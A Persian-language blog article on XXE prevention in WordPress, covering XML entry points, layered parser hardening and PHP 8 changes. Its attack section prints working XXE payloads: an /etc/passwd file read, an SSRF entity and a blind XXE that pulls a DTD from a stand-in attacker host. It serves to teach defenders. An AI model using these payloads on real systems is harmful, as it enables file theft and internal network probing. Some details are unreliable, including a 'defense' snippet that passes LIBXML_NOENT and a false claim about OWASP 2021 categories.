XXE Prevention (پیشگیری از تزریق موجودیت خارجی XML) یکی از حیاتی‌ترین لایه‌های امنیتی در وب مدرن است که متأسفانه در بستر وردپرس کمتر جدی گرفته می‌شود. XXE (XML External Entity - موجودیت خارجی XML) نوعی حمله تزریق است که در آن مهاجم با ارسال XML حاوی DTD (Document Type Definition - تعریف نوع سند) دستکاری‌شده، پارسر را وادار به خواندن فایل‌های محلی، ارسال درخواست به سرورهای داخلی (SSRF - Server-Side Request Forgery - جعل درخواست سمت سرور) یا اجرای حملات DoS (Denial of Service - انکار سرویس) می‌کند. در وردپرس، مسیرهای ورود شامل XML-RPC، oEmbed، فیدهای RSS، و کتابخانه SimplePie است که در هسته برای پردازش XML استفاده می‌شود. پیامدهای موفقیت این حمله می‌تواند از خواندن فایل wp-config.php و نشت اعتبارنامه دیتابیس تا نفوذ کامل به سرور متغیر باشد. دفاع اصلی شامل غیرفعال‌سازی موجودیت‌های خارجی در سطح پارسر، استفاده از libxml_disable_entity_loader() (منسوخ در PHP 8)، تنظیم LIBXML_NONET و مهاجرت از XML به JSON در APIهای داخلی است. متأسفانه وردپرس به‌طور پیش‌فرض محافظت جامعی در این زمینه ندارد و بار اصلی دفاع بر دوش توسعه‌دهندگان و مدیران سرور است.

نخستین‌باری که با XXE روبه‌رو شدم، در یک پروژه بررسی امنیتی بود که در آن یک افزونه شخص‌ثالث از XML برای همگام‌سازی داده استفاده می‌کرد. مهاجم می‌توانست با یک payload ساده، محتوای /etc/passwd را در پاسخ ببیند. از آن زمان، هر جا صحبت از پردازش XML در وردپرس باشد، به‌طور جدی به XXE فکر می‌کنم. در این نوشتار، از ریشه‌های فنی تا دفاع عملی را بررسی می‌کنیم.

XXE چیست و چرا خطرناک است؟

XXE یا XML External Entity نوعی آسیب‌پذیری است که در آن پارسر XML، موجودیت‌های تعریف‌شده در DTD سند را پردازش می‌کند. اگر DTD اجازه تعریف موجودیت خارجی را بدهد و پارسر آن را فعال کند، مهاجم می‌تواند محتوای منابع خارجی را در پاسخ بگنجاند. این آسیب‌پذیری در OWASP Top 10 سال ۲۰۱۷ در جایگاه چهارم قرار داشت و اگرچه در نسخه ۲۰۲۱ به دسته «Software and Data Integrity Failures» منتقل شد، همچنان یکی از جدی‌ترین تهدیدها است.

تفاوت XXE با SQL Injection و XSS در این است که در XXE، مهاجم مستقیماً به فایل‌سیستم و شبکه داخلی سرور دسترسی پیدا می‌کند. این یعنی مرز حمله از «برنامه» به «زیرساخت» گسترش می‌یابد. برای درک جایگاه این آسیب‌پذیری در دسته‌بندی کلی، انواع آسیب‌پذیری‌های رایج وب را ببینید.

XXE یک حمله «مرزی» است: از لایه برنامه شروع می‌شود اما به لایه سرور و شبکه می‌رسد. همین آن را به یکی از خطرناک‌ترین آسیب‌پذیری‌های وب تبدیل می‌کند.

مسیرهای ورود XXE در وردپرس

وردپرس در چندین نقطه از پردازش XML استفاده می‌کند. هر یک از این نقاط، یک سطح حمله بالقوه است:

  • XML-RPC: درگاه سنتی وردپرس برای ارتباط با اپلیکیشن‌های خارجی.
  • oEmbed: برای جاسازی محتوای خارجی.
  • RSS Feeds: برای خواندن فیدهای خارجی.
  • SimplePie: کتابخانه پردازش فید در هسته.
  • افزونه‌های شخص‌ثالث: بسیاری از افزونه‌ها XML را برای همگام‌سازی پردازش می‌کنند.
  • REST API: اگرچه عمدتاً JSON است، برخی افزونه‌ها XML را نیز می‌پذیرند.

نکته مهم این است که وردپرس هسته از توابع simplexml_load_string و DOMDocument::loadXML استفاده می‌کند و در نسخه‌های قدیمی، محافظت پیش‌فرض کافی نداشت. برای مرور کلی امنیت وردپرس، امنیت وردپرس را ببینید.

XML-RPC به‌عنوان دروازه اصلی

XML-RPC (Extensible Markup Language Remote Procedure Call - فراخوانی رویه از راه دور با XML) یک پروتکل قدیمی است که هنوز در وردپرس فعال است و به‌طور پیش‌فرض روی /xmlrpc.php در دسترس است. این درگاه، سطح حمله بزرگی ایجاد می‌کند:

  • پردازش XML بدون محدودیت اندازه.
  • عدم محدودیت نرخ درخواست.
  • احتمال حمله brute force روی رمز عبور.
  • پردازش DTD و موجودیت‌های خارجی.

اگر از XML-RPC استفاده نمی‌کنید، آن را غیرفعال کنید:

add_filter( 'xmlrpc_enabled', '__return_false' );

یا در htaccess.:

<Files xmlrpc.php>
  Require all denied
</Files>

برای درک بهتر حملات brute force مرتبط، جلوگیری از حملات brute force در وردپرس را ببینید.

مکانیزم فنی حمله XXE

یک payload ساده XXE برای خواندن فایل:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<data>&xxe;</data>

پارسر XML، موجودیت xxe را با محتوای فایل /etc/passwd جایگزین می‌کند و اگر پاسخ شامل این محتوا باشد، مهاجم به آن دسترسی پیدا می‌کند. برای SSRF:

<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "http://internal-server:8080/admin">
]>
<data>&xxe;</data>

در این حالت، سرور وردپرس یک درخواست به سرور داخلی ارسال می‌کند و مهاجم می‌تواند از پاسخ برای نقشه‌برداری شبکه استفاده کند. برای دیدن نمونه‌های مشابه از آسیب‌پذیری‌های تزریقی، حمله تزریق کد را ببینید.

نوع دیگر XXE، «Blind XXE» است که در آن پاسخ شامل محتوای فایل نیست، اما مهاجم با استفاده از DTD خارجی و timing attack، اطلاعات را استخراج می‌کند:

<!DOCTYPE foo [
  <!ENTITY % file SYSTEM "file:///etc/passwd">
  <!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
  %dtd;
]>

پیامدهای واقعی XXE در پروژه‌های وردپرسی

سطحپیامد
نشت فایلخواندن wp-config.php، /etc/passwd
SSRFارسال درخواست به سرورهای داخلی، دسترسی به سرویس‌های محدود
DoSانفجار موجودیت‌ها (Billion Laughs) و از کار افتادن سرور
RCE در سناریوهای خاصترکیب با آسیب‌پذیری‌های دیگر

در پروژه‌ای که بررسی کردم، یک افزونه همگام‌سازی از XML برای دریافت داده از سرور خارجی استفاده می‌کرد و DTD را غیرفعال نکرده بود. مهاجم می‌توانست با ارسال یک payload، محتوای wp-config.php را به سرور خودش ارسال کند. این یعنی نشت کامل اعتبارنامه دیتابیس و از دست رفتن کنترل سایت. برای مرور آسیب‌پذیری‌های مشابه در افزونه‌ها، آسیب‌پذیری افزونه‌های وردپرس را ببینید.

دفاع مؤثر در برابر XXE

دفاع در چند لایه انجام می‌شود. هیچ لایه‌ای به‌تنهایی کافی نیست.

لایه ۱: غیرفعال‌سازی موجودیت‌های خارجی در سطح پارسر

$previous = libxml_disable_entity_loader( true );
$doc = new DOMDocument();
$doc->loadXML( $xml, LIBXML_NONET | LIBXML_NOENT );
libxml_disable_entity_loader( $previous );

در PHP 8، libxml_disable_entity_loader منسوخ شده و به‌طور پیش‌فرض موجودیت‌های خارجی غیرفعال هستند. برای پروژه‌های قدیمی، این تابع همچنان مفید است.

لایه ۲: استفاده از پرچم‌های LIBXML

  • LIBXML_NONET: جلوگیری از دسترسی شبکه.
  • LIBXML_NOENT: جایگزینی موجودیت‌ها (احتیاط: اگر موجودیت خارجی فعال باشد، خطرناک است).
  • LIBXML_DTDLOAD و LIBXML_DTDVALID: نباید فعال باشند.

ترکیب توصیه‌شده:

$doc->loadXML( $xml, LIBXML_NONET | LIBXML_NOCDATA );

لایه ۳: اعتبارسنجی سختگیرانه ورودی

قبل از پردازش XML، آن را از نظر ساختار و اندازه بررسی کنید:

if ( strlen( $xml ) > 100000 ) {
  wp_die( 'XML too large' );
}
if ( stripos( $xml, '<!DOCTYPE' ) !== false ) {
  wp_die( 'DTD not allowed' );
}

این بررسی‌ها در لایه برنامه، سرعت حمله را کاهش می‌دهند.

لایه ۴: مهاجرت از XML به JSON

اگر کنترل API را در دست دارید، از JSON به‌جای XML استفاده کنید. JSON به‌طور ذاتی در برابر XXE ایمن است. برای مقایسه، کار با JSON در پروژه‌های واقعی را ببینید.

تغییرات PHP 8 و تأثیر آن بر XXE

در PHP 8.0، تغییرات مهمی در libxml اعمال شد:

  • موجودیت‌های خارجی به‌طور پیش‌فرض غیرفعال هستند.
  • libxml_disable_entity_loader منسوخ شده و هشدار می‌دهد.
  • پارسر XML دیگر به‌طور خودکار به DTD دسترسی ندارد.

اگر پروژه شما روی PHP 8 اجرا می‌شود، سطح حمله XXE به‌طور قابل توجهی کاهش یافته است. اما اگر روی PHP 7 یا پایین‌تر هستید، باید صریحاً محافظت اعمال کنید. ارتقاء به PHP 8 یکی از مؤثرترین گام‌ها است. برای مرور مراحل، رفع ناسازگاری افزونه با نسخه PHP را ببینید.

اشتباهات رایج در دفع XXE

  • اتکای صرف به libxml_disable_entity_loader: این تابع در PHP 8 منسوخ شده است.
  • استفاده از simplexml_load_string بدون پرچم: این تابع به‌طور پیش‌فرض موجودیت‌ها را فعال می‌کند.
  • فراموش کردن XML-RPC: این درگاه همچنان فعال است و باید غیرفعال شود.
  • اعتماد به افزونه‌های شخص‌ثالث: بسیاری از افزونه‌ها از DOMDocument بدون محافظت استفاده می‌کنند.
  • نادیده گرفتن Blind XXE: حتی اگر پاسخ شامل محتوا نباشد، مهاجم می‌تواند از timing استفاده کند.
  • عدم اعتبارسنجی اندازه ورودی: حمله Billion Laughs می‌تواند سرور را از کار بیندازد.
  • اجرای PHP قدیمی: نسخه‌های قدیمی محافظت کمتری دارند.

برای مرور خطاهای مشابه در پیکربندی، اشتباهات امنیتی رایج در وردپرس را ببینید.

پرسش‌های پرتکرار درباره XXE Prevention

آیا وردپرس هسته در برابر XXE آسیب‌پذیر است؟ نسخه‌های جدید وردپرس با PHP 8 به‌طور پیش‌فرض محافظت دارند. اما در PHP 7 و پایین‌تر، وردپرس هسته محافظت جامعی ندارد. برای مرور کلی، امنیت وردپرس را ببینید.

آیا غیرفعال کردن XML-RPC کافی است؟ نه، زیرا افزونه‌ها و کتابخانه‌هایی مانند SimplePie نیز XML پردازش می‌کنند.

آیا افزونه‌های امنیتی وردپرس XXE را دفع می‌کنند؟ برخی از آن‌ها WAF دارند که می‌تواند payloadهای شناخته‌شده را مسدود کند، اما دفاع اصلی باید در لایه کد باشد. برای مرور گزینه‌ها، بهترین افزونه‌های امنیتی وردپرس را ببینید.

چطور بفهمم سایت من در برابر XXE آسیب‌پذیر است؟ ابزارهای تست خودکار مانند Burp Suite، OWASP ZAP و اسکنرهای تخصصی می‌توانند کمک کنند. برای مرور گزینه‌ها، اسکنرهای آسیب‌پذیری وب را ببینید.

آیا XXE فقط سایت‌های بزرگ را تهدید می‌کند؟ نه، هر سایتی که XML پردازش کند می‌تواند هدف باشد. حتی سایت‌های کوچک نیز می‌توانند قربانی شوند.

برای مطالعه بیشتر درباره این آسیب‌پذیری، صفحه XML external entity attack در ویکی‌پدیا مفید است.

خط پایان

XXE Prevention یکی از آن لایه‌های امنیتی است که در سایه XSS و SQL Injection کمتر دیده می‌شود، اما پیامدهای آن می‌تواند از نشت داده تا نفوذ کامل به سرور متغیر باشد. در بستر وردپرس، مسیرهای ورود متعدد — از XML-RPC تا SimplePie — سطح حمله را بزرگ می‌کند. دفاع مؤثر نیازمند غیرفعال‌سازی موجودیت‌های خارجی، استفاده از پرچم‌های LIBXML، اعتبارسنجی سختگیرانه ورودی، غیرفعال‌سازی XML-RPC در صورت عدم نیاز، و در نهایت مهاجرت به PHP 8 و JSON است. اگر سایت شما XML پردازش می‌کند، همین امروز بازبینی کنید.

اگر در پروژه‌ای با XXE روبه‌رو شده‌اید یا راهکار دفاعی متفاوتی پیاده کرده‌اید، تجربه خود را در دیدگاه‌ها بنویسید؛ به‌خصوص اگر افزونه یا کتابخانه خاصی عامل بوده، این اطلاعات برای خواننده بعدی بسیار ارزشمند است.